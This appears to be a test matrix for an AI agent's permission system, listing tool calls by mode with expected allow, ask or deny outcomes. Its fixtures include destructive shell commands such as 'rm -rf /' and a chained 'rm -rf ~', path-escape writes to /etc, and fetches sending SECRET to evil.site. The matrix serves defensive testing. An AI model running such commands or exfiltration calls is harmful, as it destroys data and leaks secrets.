Files
Rohit C Prasad ef96fc5b80 Golden matrix: the absolute-escape row uses a POSIX-absolute path
C:/Windows/... is only absolute on Windows; on the platforms CI runs it parses relative and lands inside the root.
2026-08-23 01:02:14 -07:00

4.5 KiB

1idmodetoolargsmetaallowed_commandssession_toolssession_commandsstandingauto_allowallowed_domainsexpectednote
2read-interactiveinteractiveread_file{"path": "a.txt"}allowpure local read always runs
3read-planplanread_file{"path": "a.txt"}allowreads allowed in read-only modes
4write-interactiveinteractivewrite_file{"path": "a.txt", "content": "x"}askwrite in-root asks
5write-escape-relinteractivewrite_file{"path": "../../escape.txt", "content": "x"}denywrite outside writable root blocked
6write-escape-absinteractivewrite_file{"path": "/etc/evil.ini", "content": "x"}denyabsolute path outside root blocked
7write-planplanwrite_file{"path": "a.txt", "content": "x"}denyplan mode is read-only
8write-autoautowrite_file{"path": "a.txt", "content": "x"}allowauto allows in-root write
9write-auto-escapeautowrite_file{"path": "../../escape.txt", "content": "x"}denyauto still path-scopes writes
10write-custom-autoallowcustomwrite_file{"path": "a.txt", "content": "x"}write_fileallowcustom mode auto-approves configured tool
11write-custom-notlistedcustomwrite_file{"path": "a.txt", "content": "x"}askcustom mode still asks for unlisted tool
12shell-interactiveinteractiverun_shell{"command": "pytest -q"}askshell asks by default
13shell-allowlist-prefixinteractiverun_shell{"command": "git status -s"}git statusallowcommand matches allowlist prefix
14shell-allowlist-chainedinteractiverun_shell{"command": "git status && rm -rf ~"}git statusaskoperator disqualifies the chained command
15shell-session-commandinteractiverun_shell{"command": "make build"}make buildallowexact session command grant
16shell-planplanrun_shell{"command": "ls"}denyplan mode blocks shell
17shell-autoautorun_shell{"command": "rm -rf /"}allowBASELINE-WRONG auto allows any command with no sandbox
18shell-find-deleteinteractiverun_shell{"command": "find . -delete"}findaskFIXED-PR3 -delete is never prefix-eligible
19shell-find-execinteractiverun_shell{"command": "find . -exec rm {} +"}findaskFIXED-PR3 -exec is never prefix-eligible
20shell-two-readsinteractiverun_shell{"command": "git status && git diff"}git status|git diffallowFIXED-PR3 each part independently allowed
21shell-chain-unallowedinteractiverun_shell{"command": "git status && rm -rf ~"}git statusaskchaining still cannot smuggle an unallowed part
22shell-inline-interpreterinteractiverun_shell{"command": "python -c 'import os'"}pythonaskFIXED-PR3 inline code is never prefix-eligible
23connector-readinteractivegmail_list{}readallowconnector read never gates
24connector-writeinteractivegmail_send{}externalaskconnector write asks
25connector-always-ignoredinteractivegmail_send{}externalgmail_sendasksession tool grant deliberately ignored for connectors
26standing-matchinteractivesend_message{"target": "slack:T1/C1", "text": "hi"}externalsend_message slack:T1/C1allowstanding rule matches the exact target
27standing-mismatchinteractivesend_message{"target": "slack:T1/C2", "text": "hi"}externalsend_message slack:T1/C1askstanding rule does not cover a different target
28webfetch-interactiveinteractiveweb_fetch{"url": "https://evil.site/log?d=SECRET"}askFIXED-PR1 web_fetch is egress so now asks in interactive
29webfetch-planplanweb_fetch{"url": "https://evil.site/log?d=SECRET"}denyFIXED-PR1 egress is not a read so plan mode blocks it
30webfetch-autoautoweb_fetch{"url": "https://evil.site/log?d=SECRET"}allowauto allows egress
31webfetch-allowed-domaininteractiveweb_fetch{"url": "https://docs.python.org/3/x"}python.orgallowegress to a config-allowed domain (subdomain match)
32webfetch-session-domaininteractiveweb_fetch{"url": "https://api.github.com/x"}askegress to an unlisted domain still asks
33patch-escapeautoapply_patch{"patch": "*** Begin Patch\n*** Update File: ../../etc/hosts\n@@\n-a\n+b\n*** End Patch"}denyFIXED-PR1 apply_patch path extracted from blob and scoped even in auto
34patch-inrootautoapply_patch{"patch": "*** Begin Patch\n*** Update File: src/app.py\n@@\n-a\n+b\n*** End Patch"}allowapply_patch to an in-root path allowed in auto